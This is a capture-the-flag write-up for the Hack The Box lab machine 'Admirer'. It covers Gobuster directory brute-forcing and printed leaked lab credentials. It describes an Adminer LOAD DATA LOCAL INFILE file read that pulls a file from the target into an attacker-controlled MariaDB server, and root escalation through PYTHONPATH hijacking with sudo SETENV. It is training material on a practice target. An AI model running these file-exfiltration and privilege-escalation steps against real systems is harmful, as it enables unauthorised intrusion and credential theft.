HTB Admirer Write-Up
User Flag
Result of nmap scan:
1 | PORT STATE SERVICE VERSION |
Only three ports are open but we have the robots.txt
which disallows the /admin-dir
directory.
Heading to our browser, we see that we have a website with an image gallery, nothing special in the source and the /admin-dir
responds with a 403. Let’s fire Gobuster to see what we can find in that directory.
1 | $ gobuster dir -t20 -w /usr/share/dirb/wordlists/big.txt -u http://10.10.10.187/admin-dir -x php |
And that came empty. But in the /robots.txt, waldo is saying that the directory contains contacts and credentials so let’s try again with other extensions.
1 | $ gobuster dir -t20 -w /usr/share/dirb/wordlists/big.txt -u http://10.10.10.187/admin-dir -x txt,zip,gz,sql |
The credentials.txt
contains
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P[FTP account]
ftpuser
%n?4Wz}R$tTF7[Wordpress account]
admin
w0rdpr3ss01!
Try the FTP credentials and you will have access to two files: dump.sql
and html.tar.gz
.
The dump shows that MariaDB is used and gives also the version. The tar.gz file seems to be a backup of the /var/www/html
directory. It contains a directory named w4ld0s_s3cr3t_d1r
which seems to be the old version of the /admin-dir
and contains some credentials which are not in the current admin-dir.
We can see also the utility-scripts
directory which still exists in the box. However, not all php files in the backup directory are in the box, which means somethings changed. I focused on the db_admin.php
file which does not exist anymore but there is a comment inside saying it should be replaced with something more decent. So let’s use Gobuster once more to check if there is some new files.
1 | $ gobuster dir -t20 -w /usr/share/dirb/wordlists/big.txt -u http://10.10.10.187/utility-scripts -x php |
Adminer is an alternative to phpMyAdmin used to manage database. I fired up hydra using username waldo
, a password list composed of all the passwords I found in the live website and the backup in FTP, localhost
as server and admirerdb
as database as seen in the SQL dump. Unfortunately, none of the credentials worked.
Next, like the adminer version is shown in the page, I decided to hunt for known vulnerabilities.
Searchsploit only gives one result which is not about version 4.6.2
but we got lucky with Google by finding this result. In a nutshell, it says that adminer while hosted in the victim allows the attacker to connect using a known remote database server then use the LOAD DATA LOCAL to read files that are hosted in the victim. To summarize, these are the steps I took:
- Configure my MariaDB Server (in my VM) to allow the command
LOAD DATA LOCAL
by addinglocal-infile=1
tomy.cnf
. Comment out thebind-address
line to allow not only for local connections but also remote connections and restart MariaDB. - Create a user that is allowed to connect remotely to our MariaDB, more here.
- Create a table named
Dump
in a database with a single columndata
of typetext
. - Login in Adminer to our MariaDB.
- As the admirerdb password is given in the index.php (as noticed in the html backup), use adminer to make a request for loading the index.php in our Dump table.
So heading back, to the adminer page after the MariaDB setup, I gave as server my tun0 ip address, as database my database containing the Dump table, my user and password and it works! Go to SQL Command and enter
1 | LOAD DATA LOCAL INFILE '/var/www/html/index.php' INTO Dump; |
That gave us the real password of waldo: &<h5b~yK3F#{PaPB&dA}{H>
. Use SSH to connect and get the user flag.
Root Flag
sudo -l
gives:
1 | User waldo may run the following commands on admirer: |
The SETENV
got my attention since it means, we need to put something like var=value
before calling the script. Reading the admin_tasks.sh
for possible exploits I found nothing because all the binaries are called using their absolute path except for echo
. And once we put sudo in front of the command, the PATH
variable used becomes the root one’s so no need to define our own echo script and add it’s path to waldo’s PATH variable. However, the script calls another python script for backing up the web directory.
1 | #!/usr/bin/python3 |
I formulated the idea to foul the script to import a make_archive
from my custom shutil
script. By doing so, the SETENV I noticed earlier will make sense. If you don’t know, python use a variable called PYTHONPATH
to locate the modules. By analogy, it’s the same thing the shell does with the PATH variable. In my make_archive, I will limit myself to just read the root flag since it’s enough but you can go further and try to spawn a shell or reverse shell.
1 | waldo@admirer:~$ mkdir /tmp/mlniang # Always make a dir for your workspace to not spoil others |
Congratulations, you got the flag.